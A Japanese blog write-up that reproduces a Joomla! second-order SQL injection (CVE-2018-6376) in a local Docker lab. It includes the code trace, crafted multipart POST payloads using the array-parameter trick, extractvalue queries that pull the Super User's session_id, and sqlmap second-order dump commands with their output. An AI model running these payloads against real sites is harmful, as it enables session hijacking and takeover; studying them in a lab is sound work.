knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Joomla!のSecond Order SQL Injection(CVE-2018-6376) について調べてみた

こないだWordPressについて調べてみたので、勢いでJoomla!脆弱性についても調べてみました。 Joomla!も使ったことがなく、今回検証で初めて触ったので何か間違いがあれば教えてもらいたいです。

概要

Joomla!の3.7.0以上、3.8.3以下のバージョンにSecond Order SQL Injection(CVE-2018-6376)が見つかったとのことです。 SQL Injectionなので、データベース上の任意のデータが読み出し可能です。 ただし攻撃条件として、攻撃者はManager権限でJoomla!に認証される必要があります。 Managerはデフォルトで存在するユーザグループで、Super UsersやAdministratorよりは弱い権限です。 Super Usersのsessionなどを奪うことで権限昇格する例が発見者により紹介されています。

修正済みのバージョン(3.8.4)がリリースされているので、アップデートすれば対応できます。

参考

以下が発見者によるサイトです。

Joomla! 3.8.3: Privilege Escalation via SQL Injection

そして以下はさらに詳しく解説したページになります。発見者のサイトだけだと、どうやって攻撃まで繋げるか細かいところが分からなかったのですが、こちらのサイトの解説で理解できました。

www.notsosecure.com

Second Order SQL Injectionとは?

PortSwiggerのサイトが分かりやすかったです。

portswigger.net

簡単に言うと、ユーザからのデータをアプリケーションがDBなどに一度保存し、あとで利用される時に発動するSQL Injectionです。 一度目はエスケープして保存したけど、そのデータを別の箇所で使う時にエスケープをし忘れてSQLの条件に入れてしまった、などがあるかと思います。 自分もあんまり詳しくなかったですが、昔からあるみたいですね。

http://takagi-hiromitsu.jp/diary/20051231.html#p05

詳細

TL;DR

  • Joomla!の3.7.0以上、3.8.3以下に影響あり
  • 攻撃者はManager権限以上を持っている必要がある
  • プロフィール更新ページの admin_style が脆弱なパラメータ
  • 保存時は安全にDBに保存される
  • 別ページで admin_style の値を用いる時に発動する
  • データは表示されないがエラーメッセージは表示される

検証

自分でやってみないと理解が深まらないかと思いますので、試してみます。 docker-compose.ymlを用意したので、まずこれで簡単にJoomla!を起動します。 3.8.3以下で脆弱なバージョンなら何でも良いのですが、今回は3.8.2のDockerイメージがあったのでそれを使っています。

github.com

http://localhost:10080 にアクセスするとJoomla!が起動しているかと思いますので、インストールの設定を進めていきます。 ユーザ名は何でも良いのですが、今回は分かりやすく"super"というユーザ名にしました(Super Users権限になるため)。

f:id:knqyf263:20180212161257p:plain

Docker ComposeでMySQLのホスト名はdbにしたので、以下のように設定します。

  • データベース:MySQLi
  • ホスト名:db
  • ユーザ名:root
  • パスワード:joomla
  • データベース名:joomla

f:id:knqyf263:20180212162934p:plain

あとは指示に従ってインストールを進めていき、インストールが終わったら

「Users」→「Manager」→「Add New User」

から新しくユーザを作成します。今回は"manager"というユーザ名で、Manager権限を付与して作成しました。 なので以下のようになります。

f:id:knqyf263:20180212163144p:plain

今回の検証では、Manager権限を持つ"manager"からSuper Users権限を持つ"super"へ権限昇格してみることにします。 "super"でログインしたままにしつつ、別のブラウザなどで"manager"でログインして下さい。

そして「Edit Account」を開きます。 このプロフィール更新ページに攻撃するべきパラメータがあります。 「Save」ボタンを押すと以下のようなPOSTリクエストが飛びます(長いのであちこち省略してます)。

POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=180 HTTP/1.1
Host: localhost:10080
Content-Length: 1970
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[name]"

manager
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[username]"

manager

...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"


------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_language]"

...(省略)...

Content-Disposition: form-data; name="task"

profile.apply
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

この jform[params][admin_style] が脆弱なパラメータになります。 まず、 admin_style が保存されるまでのコードを追ってみましょう。 上の解説記事によると、com_adminのControllerの save が呼び出されるようです。

/**
 * Overrides parent save method to check the submitted passwords match.
 *
 * @param   string  $key     The name of the primary key of the URL variable.
 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
 *
 * @return  boolean  True if successful, false otherwise.
 *
 * @since   3.2
 */
public function save($key = null, $urlVar = null)
{
    $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));
    $return = parent::save();
    if ($this->getTask() != 'apply')
    {
        // Redirect to the main page.
        $this->setRedirect(JRoute::_('index.php', false));
    }
    return $return;
}

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

実際にこの箇所で JFactory::getUser() の戻り値の中身を見てみたところuserに関する情報が格納されていました。 そして次の parent::save() で実際のDBへの保存が行われそうです。

親クラスはJControllerFormになりますが、定義が見つかりませんでした。 色々探してみたところ、以下の記述が見つかりました。

JLoader::registerAlias('JControllerForm',                   '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0');

joomla-cms/classmap.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

エイリアスとして登録できるんですかね...?FormControllerの save は以下にありました。 これまたコードが大きくてここで合ってるのか正直自信ないで、誰かJoomla!のプロが教えてくれることを期待してます。

https://github.com/joomla/joomla-cms/blob/6f6a89352bf0c774481cf05fdaec47242e905bd2/libraries/src/MVC/Controller/FormController.php#L614

FormControllerの save では、以下で $model を取り出していました。

public function save($key = null, $urlVar = null)
{
    // Check for request forgeries.
    \JSession::checkToken() or jexit(\JText::_('JINVALID_TOKEN'));
    $app   = \JFactory::getApplication();
    $model = $this->getModel();
    $table = $model->getTable();

そしてその後、POSTのデータを getForm で取り出しています。

// Validate the posted data.
// Sometimes the form needs some posted data, such as for plugins and modules.
$form = $model->getForm($data, false);

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

あとは validate でバリデーションしたり何やかんやしながら、最終的に $modelsave を呼んでいます。 ここでDBへの保存を行っているんじゃないかなーと思います。多分。。

// Attempt to save the data.
if (!$model->save($validData))

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

この $modelsave で、com_adminの AdminModelProfilesave が多分呼ばれます。

多分しか言ってない。。すみません。。

/**
 * Method to save the form data.
 *
 * @param   array  $data  The form data.
 *
 * @return  boolean  True on success.
 *
 * @since   1.6
 */
public function save($data)
{

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

先程 $modelgetForm が呼ばれていると言いましたが、それは恐らくここ。最初に見たControllerと同じで、com_adminの下にあるModelです。

/**
 * Method to get the record form.
 *
 * @param   array    $data      An optional array of data for the form to interogate.
 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
 *
 * @return  JForm    A JForm object on success, false on failure
 *
 * @since   1.6
 */
public function getForm($data = array(), $loadData = true)
{
    // Get the form.
    $form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

ということでPOSTのデータが取り出されて、先程の save に渡されます。

public function save($data)
{
    $user = JFactory::getUser();
    unset($data['id']);
    unset($data['groups']);
    unset($data['sendEmail']);
    unset($data['block']);
    $isUsernameCompliant = $this->getState('user.username.compliant');
    if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
    {
        unset($data['username']);
    }
    // Bind the data.
    if (!$user->bind($data))
    {
        $this->setError($user->getError());
        return false;
    }
    $user->groups = null;
    // Store the data.
    if (!$user->save())

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

そして元々保存されていた $user にPOSTで渡ってきた $data をバインドして save を呼んでDBに保存します。 この $user は共通で定義されているモデルで、ちらっと見た感じではSQL Injectionは問題なさそうでした。

ということで長いことダラダラと書きましたが、「Save」を押した時のリクエストではSQL Injectionは起きなさそうです。 シングルクォートを入れてもエラーなくDBに保存されました。

admin_styleusers テーブルに params というカラムで保存されます。初期設定でランダムなprefixを付けている場合、以下のように qpqau_users などになっています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------+
| params                                                                                            |
+---------------------------------------------------------------------------------------------------+
|                                                                                                   |
| {"admin_style":"'foo","admin_language":"'foo","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

これを見れば分かる通り、 'foo は問題なく保存されています。

ではようやく本題です。 今までは単にユーザの入力を安全にDBの値を保存するだけなので実はどうでも良いです。 せっかくコード読んだからという理由で書いただけです。 SQL Injectionが発動する箇所が重要です。

上述した admin_style というパラメータはプロフィール更新の「Backend Template Style」に該当します。 見た目を変えるためのパラメータのようです。 通常はドロップダウンから選び、数値が保存されます。

f:id:knqyf263:20180213092938p:plain

admin_style が利用される場所を確認します。

function hathormessage_postinstall_condition()
{
...(省略)...

    // Get the current user admin style
    $adminstyle = $user->getParam('admin_style', '');

    if ($adminstyle != '')
    {
        $query = $db->getQuery(true)
            ->select('template')
            ->from($db->quoteName('#__template_styles'))
            ->where($db->quoteName('id') . ' = ' . $adminstyle[0])
            ->where($db->quoteName('client_id') . ' = 1');
        // Get the template name associated to the admin style
        $template = $db->setquery($query)->loadResult();
    }

joomla-cms/hathormessage.php at 3bef68463a5374e9aaf617111529be94d5d2fe70 · joomla/joomla-cms · GitHub

ここでは admin_style の値を取り出し、 $adminstyle に格納しています。 その後、SQLのWHEREに利用しています。 この際、特にエスケープなどはなく文字列連結で行われています。

では先程のPOSTリクエストを改ざんして AND sleep(5);– を送ってみましょう。自分はBurp Suiteを使っていますが、プロキシツールの使い方は調べれば山ほど出てくると思います。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

AND sleep(5);–

f:id:knqyf263:20180213133455p:plain

正常に保存されたものの、エラーを見るとAだけになってしまっています。 これは上記のコードで $adminstyle[0] となっており、インデックスが0のものだけが利用されているからです。 文字列が与えられれば1文字目が取り出されます。

では配列を与えればいいな、ということで以下のように与えてみます。 配列の最初の要素である test1 が表示されることを狙っています。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

["test1", "test2", "test3"]

f:id:knqyf263:20180213133746p:plain

すると、これまた [ だけになっています。 JSONデコードなどしてくれればarrayになってくれたかもしれませんが、単に文字列として扱われてしまっています。

自分はこの辺りで困ったなーと思って真面目に考えず放置していたのですが、先程の解説記事に方法が書いてありました。 POSTのパラメータ名を jform[params][admin_style][0] に変えるという方法です。 こうすればarrayとして扱われます。 再度送ってみます。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

AND sleep(5);--

f:id:knqyf263:20180213133918p:plain

エラーメッセージに AND sleep(5) が表示されているこが分かります。 ということで成功しました。 arrayに変えてみるという方法は脆弱性でもたまにありますし、CTFでも以前出題されているのを見たことがあるので、すぐに思いつかないと駄目ですね。。 少し憂鬱になりました。

DBにも以下のようにarrayで保存されています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------------------+
| params                                                                                                        |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                               |
| {"admin_style":["AND sleep(5);--"],"admin_language":"","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

今回はクエリの結果が画面に表示されたりはしませんが、エラーメッセージが表示されます。 なので extractvalue を使って欲しいデータを出力します。 詳細は以下を参照して下さい。

d.hatena.ne.jp

sessionテーブルに各ユーザの session_id が格納されているので、"Super Users"の session_id を狙います。 これはログイン中にのみレコードが存在するようなので、今回はシークレットウィンドウで"super"でログインしてから試しています。

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

こんな感じで session テーブルから "super" ユーザのsession_idをSELECTしています。 リクエストとしては以下です。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

f:id:knqyf263:20180213134651p:plain

無事に "super" ユーザの session_id が表示できました。 あとはこれを使えばSuper Users権限で好きに操作可能です。

発見者のページには以下のようにあったので、Super Users権限ならPHPの任意コードが実行可能になるようです。

By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.

サラッと流しましたが、ここで一つ気になることがあるかと思います。 session テーブルと言いましたが、実際は qpqau_session テーブルです。 これはJoomla!のインストール時にランダムなprefixを付けるように設定したためです。 これは同じDBに複数のJoomla!をインストールしたい場合に有用なようです。 SQL Injectionがあった時のセキュリティ対策という記述も見かけたのですが、テーブル名のdumpは出来ることが多いので効果は薄めじゃないのかなーと思いました。

ということで、テーブル名を先に抜き出す必要があるな...などと考えていたのですが、どうやらその必要はないようです。 Joomla!のDBのprefixに関するドキュメントを見て下さい。

Database Table Prefix - Joomla! Documentation

Extension developers need to use the string #__ to represent the prefix. This will be replaced by the real prefix during runtime by Joomla.

prefixに #__ を使うと、置き換えてくれると書いてあるようです。 試しに以下のリクエストを投げてみたところ、普通に成功しました。

extractvalue(0x0a,concat(0x0a,(select session_id from #__session where username='super')))

どうやら、prefixがSQL Injection緩和策に役立つことはなさそうです。 ということで無事に攻撃成功したので終わりです。

ちなみにテーブル名の抜き出しも一応検証しておこうということで、以下のようなリクエストも試してみました。

extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() and table_name like '%session')))

f:id:knqyf263:20180213140205p:plain

#__session が返ってきました。SQL Injectionが楽で便利。

sqlmap

これも解説記事に載っていたのですが、sqlmapはSecond Order SQL Injectionにも使えるようです。 今回の脆弱性を自動で見つけてくれるかは分からないのですが、ある程度パラメータなどの形を与えることでdumpなどは自動でやってくれるようです。 具体的には以下のような形。

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

この * のところがsqlmapにとってマーカの役割を果たし、ここをsqlmapが勝手に変更してSQL Injectionしてくれます。 あとはPOSTのリクエスト全体をテキストファイルで保存して、 admin_style のところを配列に変えて上記の値を入れてあげればsqlmapの準備は完了です。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

sqlmapはgit cloneして持ってくれば良いです。 -r でテキストファイルを読み込んでくれるので、以下のコマンドを実行します。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --tables

バックエンドはMySQLと分かっており、DB名も joomla と分かっているのでその辺りは時間短縮のために指定しています。 そして --second-order で、Second Order SQL Injectionが実際に発動するURLを指定しています。 これは保存する場所と保存された値が利用される場所が違うためですね。 結果は以下のようになり、テーブル名が取得できています。

f:id:knqyf263:20180213141031p:plain

ついでにsession_idも抜き出しましょう。 --dump を指定してみます。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --dump

f:id:knqyf263:20180213141451p:plain

カラム名が取得できない、と言われています。 この理由は特に調べてないです。 #__session は実際に存在しないテーブル名なので(実際は qpqau_session)、そのあたりが影響しているのかもしれません。

カラム名が分からない場合、良くあるカラム名で取得を試みてくれるようです。 sqlmapが以下にカラム名の辞書を持っていました。

sqlmap/common-columns.txt at 47bbcf90ea292e17e0c2a472ccc625a7989e9c16 · sqlmapproject/sqlmap · GitHub

Joomla!カラム名は既知で、今回はsession_idが欲しいだけなのでsession_idとだけ書いた辞書を保存しました。 defaultの辞書にもsession_idは含まれていたので、時間はかかりますが抜き出せます。

$ cat txt/joomla.txt
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission

session_id

先程同様に --dump を付けて実行します。 customを指定して自分で作った辞書を指定します。

[10:16:04] [INFO] fetching columns for table '#__session' in database 'joomla'
[10:16:04] [WARNING] unable to retrieve column names for table '#__session' in database 'joomla'
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/Users/teppei/src/github.com/sqlmapproject/sqlmap/txt/common-columns.txt' (press Enter)
[2] custom
> 2
what's the custom common columns file location?
> txt/joomla.txt
[10:16:13] [INFO] checking column existence using items from 'txt/joomla.txt'
[10:16:13] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[10:16:15] [WARNING] running in a single-thread mode. This could take a while
[10:16:15] [INFO] retrieved: session_id
[10:17:16] [INFO] fetching entries for table '#__session' in database 'joomla'
[10:17:16] [INFO] used SQL query returns 1 entries
[10:17:18] [INFO] retrieved: 61dd526b2b88c9eed275c09bf3be87f1

session_idが抜き出せているのがわかります。 sqlmap使うと実際の抜き出しは楽で良いですね。

まとめ

Joomla!は触ったことないので勉強がてら触ってみました。 Second Order SQL Injectionは実際にあるのを見ると面白いですね。 POSTでarrayにする、というのはすぐに思いつかないとダメ。 原理として知っているのと、実際に検証するのでは身につく度合いが全然違うかなと思います。

あとJoomla!のコードを読む際に、ジャンプできないことが多くて読むのかなり大変でした(なので合っているか自信がない)。 PHPとかは皆さんどうやってコードリーディングしてるんでしょうか。 ctagsやPhpStormのデフォルト設定では全然無理でした。